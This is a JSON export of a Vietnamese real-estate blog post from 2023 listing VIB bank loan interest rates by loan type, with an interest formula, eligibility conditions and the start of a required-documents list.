{"id":39212,"date":"2023-08-18T15:27:46","date_gmt":"2023-08-18T08:27:46","guid":{"rendered":"https:\/\/reti.vn\/blog\/?p=39212"},"modified":"2025-10-22T04:13:17","modified_gmt":"2025-10-21T21:13:17","slug":"lai-suat-vay-ngan-hang-vib-hien-nay","status":"publish","type":"post","link":"https:\/\/reti.vn\/blog\/lai-suat-vay-ngan-hang-vib-hien-nay\/","title":{"rendered":"L\u00e3i su\u1ea5t vay ng\u00e2n h\u00e0ng VIB hi\u1ec7n nay"},"content":{"rendered":"<p><em><strong>L\u00e3i su\u1ea5t vay ng\u00e2n h\u00e0ng VIB<\/strong> hi\u1ec7n nay &#8211; m\u1edbi nh\u1ea5t 2023 l\u00e0 bao nhi\u00eau? C\u00f9ng <strong><a href=\"https:\/\/www.facebook.com\/retiproptech\" target=\"_blank\" rel=\"noopener\">RETI<\/a> <\/strong>c\u1eadp nh\u1eadt chi ti\u1ebft trong b\u00e0i vi\u1ebft sau \u0111\u00e2y.<\/em><\/p>\n<div id=\"ez-toc-container\" class=\"ez-toc-v2_0_82_2 counter-hierarchy ez-toc-counter ez-toc-grey ez-toc-container-direction\">\n<p class=\"ez-toc-title\" style=\"cursor:inherit\">N\u1ed9i dung b\u00e0i vi\u1ebft<\/p>\n<label for=\"ez-toc-cssicon-toggle-item-69ed3a5dbf016\" class=\"ez-toc-cssicon-toggle-label\"><span class=\"\"><span class=\"eztoc-hide\" style=\"display:none;\">Toggle<\/span><span class=\"ez-toc-icon-toggle-span\"><svg style=\"fill: #999;color:#999\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\" class=\"list-377408\" width=\"20px\" height=\"20px\" viewBox=\"0 0 24 24\" fill=\"none\"><path d=\"M6 6H4v2h2V6zm14 0H8v2h12V6zM4 11h2v2H4v-2zm16 0H8v2h12v-2zM4 16h2v2H4v-2zm16 0H8v2h12v-2z\" fill=\"currentColor\"><\/path><\/svg><svg style=\"fill: #999;color:#999\" class=\"arrow-unsorted-368013\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\" width=\"10px\" height=\"10px\" viewBox=\"0 0 24 24\" version=\"1.2\" baseProfile=\"tiny\"><path d=\"M18.2 9.3l-6.2-6.3-6.2 6.3c-.2.2-.3.4-.3.7s.1.5.3.7c.2.2.4.3.7.3h11c.3 0 .5-.1.7-.3.2-.2.3-.5.3-.7s-.1-.5-.3-.7zM5.8 14.7l6.2 6.3 6.2-6.3c.2-.2.3-.5.3-.7s-.1-.5-.3-.7c-.2-.2-.4-.3-.7-.3h-11c-.3 0-.5.1-.7.3-.2.2-.3.5-.3.7s.1.5.3.7z\"\/><\/svg><\/span><\/span><\/label><input type=\"checkbox\"  id=\"ez-toc-cssicon-toggle-item-69ed3a5dbf016\"  aria-label=\"Toggle\" \/><nav><ul class='ez-toc-list ez-toc-list-level-1 ' ><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-1\" href=\"https:\/\/reti.vn\/blog\/lai-suat-vay-ngan-hang-vib-hien-nay\/#Lai_suat_vay_ngan_hang_VIB_hien_nay\" >L\u00e3i su\u1ea5t vay ng\u00e2n h\u00e0ng VIB hi\u1ec7n nay\u00a0\u00a0<\/a><ul class='ez-toc-list-level-3' ><li class='ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-2\" href=\"https:\/\/reti.vn\/blog\/lai-suat-vay-ngan-hang-vib-hien-nay\/#Bang_lai_suat_ngan_hang_VIB_vay_mua_o_to\" >B\u1ea3ng l\u00e3i su\u1ea5t ng\u00e2n h\u00e0ng VIB vay mua \u00f4 t\u00f4<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-3\" href=\"https:\/\/reti.vn\/blog\/lai-suat-vay-ngan-hang-vib-hien-nay\/#Bang_lai_suat_ngan_hang_VIB_vay_kinh_doanh\" >B\u1ea3ng l\u00e3i su\u1ea5t ng\u00e2n h\u00e0ng VIB vay kinh doanh<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-4\" href=\"https:\/\/reti.vn\/blog\/lai-suat-vay-ngan-hang-vib-hien-nay\/#Bang_lai_suat_ngan_hang_VIB_vay_mua_BDS\" >B\u1ea3ng l\u00e3i su\u1ea5t ng\u00e2n h\u00e0ng VIB vay mua B\u0110S<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-5\" href=\"https:\/\/reti.vn\/blog\/lai-suat-vay-ngan-hang-vib-hien-nay\/#Bang_lai_suat_ngan_hang_VIB_vay_xay_moi_hoac_sua_chua_nha\" >B\u1ea3ng l\u00e3i su\u1ea5t ng\u00e2n h\u00e0ng VIB vay x\u00e2y m\u1edbi ho\u1eb7c s\u1eeda ch\u1eefa nh\u00e0<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-6\" href=\"https:\/\/reti.vn\/blog\/lai-suat-vay-ngan-hang-vib-hien-nay\/#Bang_lai_suat_ngan_hang_VIB_vay_tieu_dung_co_tai_san_dam_bao\" >B\u1ea3ng l\u00e3i su\u1ea5t ng\u00e2n h\u00e0ng VIB vay ti\u00eau d\u00f9ng c\u00f3 t\u00e0i s\u1ea3n \u0111\u1ea3m b\u1ea3o<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-7\" href=\"https:\/\/reti.vn\/blog\/lai-suat-vay-ngan-hang-vib-hien-nay\/#Bang_lai_suat_ngan_hang_VIB_vay_du_hoc\" >B\u1ea3ng l\u00e3i su\u1ea5t ng\u00e2n h\u00e0ng VIB vay du h\u1ecdc<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-8\" href=\"https:\/\/reti.vn\/blog\/lai-suat-vay-ngan-hang-vib-hien-nay\/#Cac_san_pham_vay_tinh_lai_suat_khac_cua_ngan_hang_VIB\" >C\u00e1c s\u1ea3n ph\u1ea9m vay t\u00ednh l\u00e3i su\u1ea5t kh\u00e1c c\u1ee7a ng\u00e2n h\u00e0ng VIB<\/a><\/li><\/ul><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-9\" href=\"https:\/\/reti.vn\/blog\/lai-suat-vay-ngan-hang-vib-hien-nay\/#Cong_thuc_tinh_lai_suat_vay_ngan_hang_VIB_hien_nay\" >C\u00f4ng th\u1ee9c t\u00ednh l\u00e3i su\u1ea5t vay ng\u00e2n h\u00e0ng VIB hi\u1ec7n nay<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-10\" href=\"https:\/\/reti.vn\/blog\/lai-suat-vay-ngan-hang-vib-hien-nay\/#Ta%CC%A3i_sao_nen_lu%CC%A3a_cho%CC%A3n_ngan_ha%CC%80ng_VIB\" >Ta\u0323i sao n\u00ean l\u01b0\u0323a cho\u0323n ng\u00e2n ha\u0300ng VIB?<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-11\" href=\"https:\/\/reti.vn\/blog\/lai-suat-vay-ngan-hang-vib-hien-nay\/#Die%CC%80u_kie%CC%A3n_vay_vo%CC%81n_ta%CC%A3i_VIB_go%CC%80m_nhu%CC%83ng_gi%CC%80\" >\u0110i\u00ea\u0300u ki\u00ea\u0323n vay v\u00f4\u0301n ta\u0323i VIB g\u00f4\u0300m nh\u01b0\u0303ng gi\u0300?<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-12\" href=\"https:\/\/reti.vn\/blog\/lai-suat-vay-ngan-hang-vib-hien-nay\/#Ho%CC%80_so_thu%CC%89_tu%CC%A3c_vay_vo%CC%81n_ngan_hang_VIB\" >H\u00f4\u0300 s\u01a1, thu\u0309 tu\u0323c vay v\u00f4\u0301n ng\u00e2n h\u00e0ng VIB<\/a><\/li><\/ul><\/nav><\/div>\n<h2 id=\"1678386238-h2-8\"><span class=\"ez-toc-section\" id=\"Lai_suat_vay_ngan_hang_VIB_hien_nay\"><\/span><strong id=\"1678386238-h2-8\">L\u00e3i su\u1ea5t vay ng\u00e2n h\u00e0ng VIB hi\u1ec7n nay\u00a0\u00a0<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p><strong>L\u00e3i su\u1ea5t ng\u00e2n h\u00e0ng VIB<\/strong>\u00a0<strong>m\u1edbi nh\u1ea5t<\/strong>\u00a0khi vay v\u1ed1n dao \u0111\u1ed9ng t\u1eeb 7,8% &#8211; 9,9%\/n\u0103m. C\u1ee5 th\u1ec3 t\u00f9y theo t\u1eebng h\u00ecnh th\u1ee9c vay, t\u00e0i s\u1ea3n th\u1ebf ch\u1ea5p m\u1ee9c l\u00e3i su\u1ea5t s\u1ebd kh\u00e1c nhau. Th\u00f4ng tin chi ti\u1ebft t\u1eebng g\u00f3i vay nh\u01b0 sau:<\/p>\n<h3><span class=\"ez-toc-section\" id=\"Bang_lai_suat_ngan_hang_VIB_vay_mua_o_to\"><\/span><em><strong>B\u1ea3ng l\u00e3i su\u1ea5t ng\u00e2n h\u00e0ng VIB vay mua \u00f4 t\u00f4<\/strong><\/em><span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p>V\u1edbi g\u00f3i vay th\u1ebf ch\u1ea5p mua \u00f4 t\u00f4, t\u00f9y theo s\u1ea3n ph\u1ea9m \u00f4 t\u00f4 c\u0169 ho\u1eb7c m\u1edbi, m\u1ee9c<strong>\u00a0l\u00e3i su\u1ea5t ng\u00e2n h\u00e0ng VIB<\/strong>\u00a0quy \u0111\u1ecbnh s\u1ebd kh\u00e1c nhau.<\/p>\n<table border=\"1\" cellspacing=\"1\" cellpadding=\"1\">\n<tbody>\n<tr>\n<td><strong>H\u00ecnh th\u1ee9c vay<\/strong><\/td>\n<td><strong>L\u00e3i su\u1ea5t VIB<\/strong><\/td>\n<\/tr>\n<tr>\n<td>Vay mua \u00f4 t\u00f4 m\u1edbi<\/td>\n<td>\n<ul>\n<li>M\u1ee9c l\u00e3i su\u1ea5t 8.6 \u0111\u1ebfn 8.8 %\/n\u0103m<\/li>\n<li>Vay t\u1ed1i \u0111a 80% gi\u00e1 tr\u1ecb xe<\/li>\n<li>Th\u1eddi h\u1ea1n vay 8 n\u0103m<\/li>\n<\/ul>\n<\/td>\n<\/tr>\n<tr>\n<td>Vay mua \u00f4 t\u00f4 c\u0169<\/td>\n<td>\n<ul>\n<li>M\u1ee9c l\u00e3i su\u1ea5t 8.2 \u0111\u1ebfn 9.9 %\/n\u0103m<\/li>\n<li>Vay t\u1ed1i \u0111a 80% nhu c\u1ea7u<\/li>\n<li>Th\u1eddi h\u1ea1n vay 8 n\u0103m<\/li>\n<\/ul>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<h3><span class=\"ez-toc-section\" id=\"Bang_lai_suat_ngan_hang_VIB_vay_kinh_doanh\"><\/span><em><strong>B\u1ea3ng l\u00e3i su\u1ea5t ng\u00e2n h\u00e0ng VIB vay kinh doanh<\/strong><\/em><span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p>V\u1edbi g\u00f3i vay kinh doanh, kh\u00e1ch h\u00e0ng c\u00e1 nh\u00e2n s\u1ebd \u0111\u01b0\u1ee3c h\u01b0\u1edfng l\u00e3i su\u1ea5t t\u1ea1i VIB th\u1ea5p h\u01a1n so v\u1edbi kh\u00e1ch h\u00e0ng doanh nghi\u1ec7p.<\/p>\n<table border=\"1\" cellspacing=\"1\" cellpadding=\"1\">\n<tbody>\n<tr>\n<td><strong>G\u00f3i vay<\/strong><\/td>\n<td><strong>L\u00e3i su\u1ea5t vay<\/strong><\/td>\n<\/tr>\n<tr>\n<td>Kh\u00e1ch h\u00e0ng vay v\u1ed1n kinh doanh c\u00e1 nh\u00e2n<\/td>\n<td>\n<ul>\n<li>M\u1ee9c l\u00e3i su\u1ea5t 7.8 \u0111\u1ebfn 8.0 %\/n\u0103m<\/li>\n<li>Vay t\u1ed1i \u0111a 80% nhu c\u1ea7u<\/li>\n<li>Th\u1eddi h\u1ea1n vay 24 th\u00e1ng<\/li>\n<\/ul>\n<\/td>\n<\/tr>\n<tr>\n<td>Kh\u00e1ch h\u00e0ng vay v\u1ed1n kinh doanh doanh nghi\u1ec7p<\/td>\n<td>\n<ul>\n<li>M\u1ee9c l\u00e3i su\u1ea5t 8.0 \u0111\u1ebfn 8.2 %\/n\u0103m<\/li>\n<li>Vay t\u1ed1i \u0111a 80% nhu c\u1ea7u<\/li>\n<li>Th\u1eddi h\u1ea1n vay 24 th\u00e1ng<\/li>\n<\/ul>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<h3><span class=\"ez-toc-section\" id=\"Bang_lai_suat_ngan_hang_VIB_vay_mua_BDS\"><\/span><em><strong>B\u1ea3ng l\u00e3i su\u1ea5t ng\u00e2n h\u00e0ng VIB vay mua B\u0110S<\/strong><\/em><span class=\"ez-toc-section-end\"><\/span><\/h3>\n<ul>\n<li>M\u1ee9c l\u00e3i su\u1ea5t 8.3%\/n\u0103m<\/li>\n<li>Vay t\u1ed1i \u0111a 80% nhu c\u1ea7u<\/li>\n<li>Th\u1eddi h\u1ea1n vay 30 n\u0103m.<\/li>\n<\/ul>\n<h3><span class=\"ez-toc-section\" id=\"Bang_lai_suat_ngan_hang_VIB_vay_xay_moi_hoac_sua_chua_nha\"><\/span><em><strong>B\u1ea3ng l\u00e3i su\u1ea5t ng\u00e2n h\u00e0ng VIB vay x\u00e2y m\u1edbi ho\u1eb7c s\u1eeda ch\u1eefa nh\u00e0<\/strong><\/em><span class=\"ez-toc-section-end\"><\/span><\/h3>\n<ul>\n<li>M\u1ee9c l\u00e3i su\u1ea5t 8.7 \u0111\u1ebfn 9.1 %\/n\u0103m<\/li>\n<li>Vay t\u1ed1i \u0111a 80% nhu c\u1ea7u<\/li>\n<li>Th\u1eddi h\u1ea1n vay 15 n\u0103m.<\/li>\n<\/ul>\n<h3><span class=\"ez-toc-section\" id=\"Bang_lai_suat_ngan_hang_VIB_vay_tieu_dung_co_tai_san_dam_bao\"><\/span><em><strong>B\u1ea3ng l\u00e3i su\u1ea5t ng\u00e2n h\u00e0ng VIB vay ti\u00eau d\u00f9ng c\u00f3 t\u00e0i s\u1ea3n \u0111\u1ea3m b\u1ea3o<\/strong><\/em><span class=\"ez-toc-section-end\"><\/span><\/h3>\n<ul>\n<li>M\u1ee9c l\u00e3i su\u1ea5t 8.8 %\/n\u0103m<\/li>\n<li>Vay t\u1ed1i \u0111a 100% nhu c\u1ea7u<\/li>\n<li>Th\u1eddi h\u1ea1n vay 8 n\u0103m.<\/li>\n<\/ul>\n<h3><span class=\"ez-toc-section\" id=\"Bang_lai_suat_ngan_hang_VIB_vay_du_hoc\"><\/span><em><strong>B\u1ea3ng l\u00e3i su\u1ea5t ng\u00e2n h\u00e0ng VIB vay du h\u1ecdc<\/strong><\/em><span class=\"ez-toc-section-end\"><\/span><\/h3>\n<ul>\n<li>M\u1ee9c l\u00e3i su\u1ea5t 8.8 %\/n\u0103m<\/li>\n<li>Vay t\u1ed1i \u0111a 100% nhu c\u1ea7u<\/li>\n<li>Th\u1eddi h\u1ea1n vay 10 n\u0103m.<\/li>\n<\/ul>\n<p><a href=\"https:\/\/reti.vn\/blog\/wp-content\/uploads\/2023\/08\/lai-suat-ngan-hang-vib-hien-nay-1.jpg\" rel=\"lightbox-0\"><img decoding=\"async\" class=\"aligncenter size-full wp-image-39213 lazyload\" data-src=\"https:\/\/reti.vn\/blog\/wp-content\/uploads\/2023\/08\/lai-suat-ngan-hang-vib-hien-nay-1.jpg\" alt=\"\" width=\"660\" height=\"404\" data-srcset=\"https:\/\/reti.vn\/blog\/wp-content\/uploads\/2023\/08\/lai-suat-ngan-hang-vib-hien-nay-1.jpg 660w, https:\/\/reti.vn\/blog\/wp-content\/uploads\/2023\/08\/lai-suat-ngan-hang-vib-hien-nay-1-300x184.jpg 300w, https:\/\/reti.vn\/blog\/wp-content\/uploads\/2023\/08\/lai-suat-ngan-hang-vib-hien-nay-1-150x92.jpg 150w\" data-sizes=\"(max-width: 660px) 100vw, 660px\" src=\"data:image\/svg+xml;base64,PHN2ZyB3aWR0aD0iMSIgaGVpZ2h0PSIxIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPjwvc3ZnPg==\" style=\"--smush-placeholder-width: 660px; --smush-placeholder-aspect-ratio: 660\/404;\" \/><\/a><\/p>\n<h3><span class=\"ez-toc-section\" id=\"Cac_san_pham_vay_tinh_lai_suat_khac_cua_ngan_hang_VIB\"><\/span><em><strong>C\u00e1c s\u1ea3n ph\u1ea9m vay t\u00ednh l\u00e3i su\u1ea5t kh\u00e1c c\u1ee7a ng\u00e2n h\u00e0ng VIB<\/strong><\/em><span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p>Ngo\u00e0i c\u00e1c g\u00f3i vay tr\u00ean, kh\u00e1ch h\u00e0ng c\u00f3 th\u1ec3 vay c\u1ea7m c\u1ed1 c\u00f3 gi\u1ea5y t\u1edd, v\u00e0<strong>\u00a0l\u00e3i su\u1ea5t ng\u00e2n h\u00e0ng VIB<\/strong>\u00a0\u00e1p d\u1ee5ng l\u00e0 8.8 %\/n\u0103m, vay t\u1ed1i \u0111a 100% nhu c\u1ea7u, th\u1eddi h\u1ea1n vay 2 n\u0103m.<\/p>\n<p>V\u1edbi ri\u00eang kh\u00e1ch h\u00e0ng vay t\u00edn ch\u1ea5p VIB, m\u1ee9c l\u00e3i su\u1ea5t ng\u00e2n h\u00e0ng n\u00e0y \u0111ang \u00e1p d\u1ee5ng hi\u1ec7n t\u1ea1i l\u00e0 t\u1eeb 16%\/n\u0103m. N\u1ebfu kh\u00e1ch h\u00e0ng c\u00f3 nhu c\u1ea7u c\u00f3 th\u1ec3 t\u00ecm hi\u1ec3u chi ti\u1ebft t\u1ea1i Website c\u1ee7a VIB nh\u00e9!<\/p>\n<h2 id=\"1678386238-h2-9\"><span class=\"ez-toc-section\" id=\"Cong_thuc_tinh_lai_suat_vay_ngan_hang_VIB_hien_nay\"><\/span><strong id=\"1678386238-h2-9\">C\u00f4ng th\u1ee9c t\u00ednh l\u00e3i su\u1ea5t vay ng\u00e2n h\u00e0ng VIB hi\u1ec7n nay<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>VIB l\u00e0 ng\u00e2n h\u00e0ng \u00e1p d\u1ee5ng t\u00ednh l\u00e3i su\u1ea5t theo d\u01b0 n\u1ee3 gi\u1ea3m d\u1ea7n. C\u00f4ng th\u1ee9c c\u1ee5 th\u1ec3 \u0111\u1ec3 t\u00ednh nh\u01b0 sau:<\/p>\n<p><em>Ti\u1ec1n l\u00e3i = D\u01b0 n\u1ee3 c\u00f2n l\u1ea1i \u0111\u1ea7u k\u1ef3 x l\u00e3i su\u1ea5t n\u0103m\/12<\/em><\/p>\n<p>Ho\u1eb7c, b\u1ea1n \u0111\u1ecdc c\u0169ng c\u00f3 th\u1ec3 t\u00ednh d\u01b0 n\u1ee3 gi\u1ea3m d\u1ea7n theo c\u00e1c th\u00f4ng th\u1ee9c chung cho h\u1ec7 th\u1ed1ng ng\u00e2n h\u00e0ng nh\u01b0 sau:<\/p>\n<ul>\n<li>S\u1ed1 ti\u1ec1n l\u00e3i h\u00e0ng th\u00e1ng =\u00a0<em>D\u01b0 n\u1ee3 c\u00f2n l\u1ea1i \u1edf \u0111\u1ea7u k\u1ef3 x l\u00e3i su\u1ea5t th\u00e1ng<\/em><\/li>\n<li>S\u1ed1 ti\u1ec1n g\u1ed1c c\u1ea7n tr\u1ea3 h\u00e0ng th\u00e1ng =\u00a0<em>T\u1ed5ng s\u1ed1 ti\u1ec1n vay\/12<\/em><\/li>\n<li>S\u1ed1 ti\u1ec1n ph\u1ea3i tr\u1ea3 h\u00e0ng th\u00e1ng =\u00a0<em>S\u1ed1 ti\u1ec1n g\u1ed1c tr\u1ea3 h\u00e0ng th\u00e1ng + s\u1ed1 ti\u1ec1n l\u00e3i c\u1ea7n tr\u1ea3 h\u00e0ng th\u00e1ng<\/em><\/li>\n<\/ul>\n<p><a href=\"https:\/\/reti.vn\/blog\/wp-content\/uploads\/2023\/08\/lai-suat-ngan-hang-vib-hien-nay-2.jpg\" rel=\"lightbox-1\"><img decoding=\"async\" class=\"aligncenter size-full wp-image-39214 lazyload\" data-src=\"https:\/\/reti.vn\/blog\/wp-content\/uploads\/2023\/08\/lai-suat-ngan-hang-vib-hien-nay-2.jpg\" alt=\"\" width=\"680\" height=\"453\" data-srcset=\"https:\/\/reti.vn\/blog\/wp-content\/uploads\/2023\/08\/lai-suat-ngan-hang-vib-hien-nay-2.jpg 680w, https:\/\/reti.vn\/blog\/wp-content\/uploads\/2023\/08\/lai-suat-ngan-hang-vib-hien-nay-2-300x200.jpg 300w, https:\/\/reti.vn\/blog\/wp-content\/uploads\/2023\/08\/lai-suat-ngan-hang-vib-hien-nay-2-150x100.jpg 150w\" data-sizes=\"(max-width: 680px) 100vw, 680px\" src=\"data:image\/svg+xml;base64,PHN2ZyB3aWR0aD0iMSIgaGVpZ2h0PSIxIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPjwvc3ZnPg==\" style=\"--smush-placeholder-width: 680px; --smush-placeholder-aspect-ratio: 680\/453;\" \/><\/a><\/p>\n<h2><span class=\"ez-toc-section\" id=\"Ta%CC%A3i_sao_nen_lu%CC%A3a_cho%CC%A3n_ngan_ha%CC%80ng_VIB\"><\/span><strong><span id=\"Tai_sao_nen_lua_chon_ngan_hang_VIB\">Ta\u0323i sao n\u00ean l\u01b0\u0323a cho\u0323n ng\u00e2n ha\u0300ng VIB?<\/span><\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>Ng\u00e2n ha\u0300ng Th\u01b0\u01a1ng ma\u0323i c\u00f4\u0309 ph\u00e2\u0300n Qu\u00f4\u0301c t\u00ea\u0301 Vi\u00ea\u0323t Nam co\u0301 t\u00ean go\u0323i t\u0103\u0301t la\u0300 ng\u00e2n ha\u0300ng\u00a0<strong>VIB<\/strong>\u00a0\u0111\u01b0\u01a1\u0323c tha\u0300nh l\u00e2\u0323p nga\u0300y 18\/09\/1996. \u0110\u00e2y la\u0300 m\u00f4\u0323t trong nh\u01b0\u0303ng ng\u00e2n ha\u0300ng Th\u01b0\u01a1ng ma\u0323i c\u00f4\u0309 ph\u00e2\u0300n ha\u0300ng \u0111\u00e2\u0300u Vi\u00ea\u0323t Nam. B\u0103\u0301t \u0111\u00e2\u0300u \u0111i va\u0300o hoa\u0323t \u0111\u00f4\u0323ng v\u01a1\u0301i s\u00f4\u0301 v\u01a1\u0301i \u0111i\u00ea\u0300u l\u00ea\u0323 la\u0300 50 ty\u0309 \u0111\u00f4\u0300ng v\u01a1\u0301i 23 ca\u0301n b\u00f4\u0323 nh\u00e2n vi\u00ean, sau h\u01a1n 20 n\u0103m tha\u0300nh l\u00e2\u0323p, VIB \u0111a\u0303 co\u0301 nh\u01b0\u0303ng b\u01b0\u01a1\u0301c ti\u00ea\u0301n v\u01b0\u01a1\u0323t b\u00e2\u0323c.<\/p>\n<p>Cho \u0111\u00ea\u0301n cu\u00f4\u0301i n\u0103m 2018, VIB \u0111a\u0303 co\u0301 tr\u00ean 5000 ca\u0301n b\u00f4\u0323 nh\u00e2n vi\u00ean, s\u00f4\u0301 v\u00f4\u0301n hoa\u0323t \u0111\u00f4\u0323ng l\u00ean \u0111\u00ea\u0301n 7800 ty\u0309 \u0111\u00f4\u0300ng. VIB t\u01b0\u0323 ha\u0300o khi phu\u0323c vu\u0323 g\u00e2\u0300n 2 tri\u00ea\u0323u kha\u0301ch ha\u0300ng Vi\u00ea\u0323t ta\u0323i g\u00e2\u0300n 170 chi nha\u0301nh va\u0300 pho\u0300ng giao di\u0323ch tr\u00ean kh\u0103\u0301p ca\u0309 n\u01b0\u01a1\u0301c.<\/p>\n<p>VIB cung c\u00e2\u0301p \u0111\u00ea\u0301n kha\u0301ch ha\u0300ng nhi\u00ea\u0300u di\u0323ch vu\u0323 vay v\u00f4\u0301n va\u0300 g\u01b0\u0309i ti\u00ea\u0300n. Co\u0301 th\u00ea\u0309 k\u00ea\u0309 \u0111\u00ea\u0301n ca\u0301c go\u0301i ta\u0300i chi\u0301nh ti\u00eau bi\u00ea\u0309u: The\u0309 ti\u0301n du\u0323ng, the\u0309 ti\u00ea\u0301t ki\u00ea\u0323m; vay th\u00ea\u0301 ch\u00e2\u0301p, vay ti\u0301n ch\u00e2\u0301p v\u01a1\u0301i ca\u0301c mu\u0323c \u0111i\u0301ch nh\u01b0 ti\u00eau du\u0300ng, mua nha\u0300, mua xe; ca\u0301c di\u0323ch vu\u0323 ba\u0309o hi\u00ea\u0309m,\u2026.<\/p>\n<p>V\u00ea\u0300 ca\u0301c go\u0301i vay v\u00f4\u0301n, VIB h\u00f4\u0303 tr\u01a1\u0323 vay v\u00f4\u0301n ng\u0103\u0301n ha\u0323n, trung ha\u0323n va\u0300 da\u0300i ha\u0323n \u0111\u00f4\u0301i v\u01a1\u0301i t\u00e2\u0301t ca\u0309 kha\u0301ch ha\u0300ng la\u0300 ca\u0301 nh\u00e2n hay t\u00f4\u0309 ch\u01b0\u0301c, doanh nghi\u00ea\u0323p. Ca\u0301c go\u0301i vay \u0111a da\u0323ng, phu\u0323c vu\u0323 ki\u0323p th\u01a1\u0300i va\u0300 t\u00f4\u0301t nh\u00e2\u0301t nhu c\u00e2\u0300u cu\u0309a kha\u0301ch ha\u0300ng.<\/p>\n<h2><span class=\"ez-toc-section\" id=\"Die%CC%80u_kie%CC%A3n_vay_vo%CC%81n_ta%CC%A3i_VIB_go%CC%80m_nhu%CC%83ng_gi%CC%80\"><\/span><strong><span id=\"Dieu_kien_vay_von_tai_VIB_gom_nhung_gi\">\u0110i\u00ea\u0300u ki\u00ea\u0323n vay v\u00f4\u0301n ta\u0323i VIB g\u00f4\u0300m nh\u01b0\u0303ng gi\u0300?<\/span><\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>\u0110\u00ea\u0309 vay v\u00f4\u0301n ng\u00e2n ha\u0300ng VIB, kha\u0301ch ha\u0300ng c\u00e2\u0300n \u0111a\u0301p \u01b0\u0301ng ca\u0301c y\u00eau c\u00e2\u0300u d\u01b0\u01a1\u0301i \u0111\u00e2y:<\/p>\n<ul>\n<li>Kha\u0301ch ha\u0300ng la\u0300 c\u00f4ng d\u00e2n Vi\u00ea\u0323t Nam, \u01a1\u0309 \u0111\u00f4\u0323 tu\u00f4\u0309i t\u01b0\u0300 20 \u2013 55 tu\u00f4\u0309i \u0111\u00f4\u0301i v\u01a1\u0301i ca\u0309 nam va\u0300 n\u01b0\u0303.<\/li>\n<li>Kha\u0301ch ha\u0300ng co\u0301 ngu\u00f4\u0300n thu nh\u00e2\u0323p \u00f4\u0309n \u0111i\u0323nh.<\/li>\n<li>Trong th\u01a1\u0300i \u0111i\u00ea\u0309m vay v\u00f4\u0301n ta\u0323i VIB, kha\u0301ch ha\u0300ng kh\u00f4ng \u0111\u01b0\u01a1\u0323c co\u0301 n\u01a1\u0323 x\u00e2\u0301u b\u00e2\u0301t ki\u0300 t\u00f4\u0309 ch\u01b0\u0301c ti\u0301n du\u0323ng na\u0300o.<\/li>\n<li>V\u00f4\u0301n vay pha\u0309i \u0111\u01b0\u01a1\u0323c s\u01b0\u0309 du\u0323ng cho ca\u0301c mu\u0323c \u0111i\u0301ch chi\u0301nh \u0111a\u0301ng nh\u01b0 mua nha\u0300, mua xe, kinh doanh,\u2026.<\/li>\n<\/ul>\n<h2><span class=\"ez-toc-section\" id=\"Ho%CC%80_so_thu%CC%89_tu%CC%A3c_vay_vo%CC%81n_ngan_hang_VIB\"><\/span><strong><span id=\"Ho_so_thu_tuc_vay_von_ngan_hang_VIB\">H\u00f4\u0300 s\u01a1, thu\u0309 tu\u0323c vay v\u00f4\u0301n ng\u00e2n h\u00e0ng VIB<\/span><\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>H\u00f4\u0300 s\u01a1 vay v\u00f4\u0301n ta\u0323i VIB \u0111\u01b0\u01a1\u0323c \u0111a\u0301nh gia\u0301 kha\u0301 \u0111\u01a1n gia\u0309n, ca\u0301c gi\u00e2\u0301y t\u01a1\u0300 c\u00e2\u0300n co\u0301 trong h\u00f4\u0300 s\u01a1 vay v\u00f4\u0301n nh\u01b0 sau:<\/p>\n<ul>\n<li>Ch\u01b0\u0301ng minh th\u01b0 nh\u00e2n d\u00e2n ho\u0103\u0323c h\u00f4\u0323 chi\u00ea\u0301u (Ba\u0309n sao co\u0301 c\u00f4ng ch\u01b0\u0301ng).<\/li>\n<li>Ba\u0309n sao s\u00f4\u0309 h\u00f4\u0323 kh\u00e2\u0309u ho\u0103\u0323c gi\u00e2\u0301y \u0111\u0103ng ki\u0301 ta\u0323m tru\u0301, ta\u0323m v\u0103\u0301ng.<\/li>\n<li>Gi\u00e2\u0301y \u0111\u0103ng ki\u0301 k\u00ea\u0301t h\u00f4n (n\u00ea\u0301u co\u0301).<\/li>\n<li>\u0110\u01a1n \u0111\u00ea\u0300 nghi\u0323 vay v\u00f4\u0301n theo m\u00e2\u0303u VIB.<\/li>\n<li>Gi\u00e2\u0301y t\u01a1\u0300 ch\u01b0\u0301ng minh thu nh\u00e2\u0323p ca\u0301 nh\u00e2n nh\u01b0 ba\u0309ng l\u01b0\u01a1ng, h\u01a1\u0323p 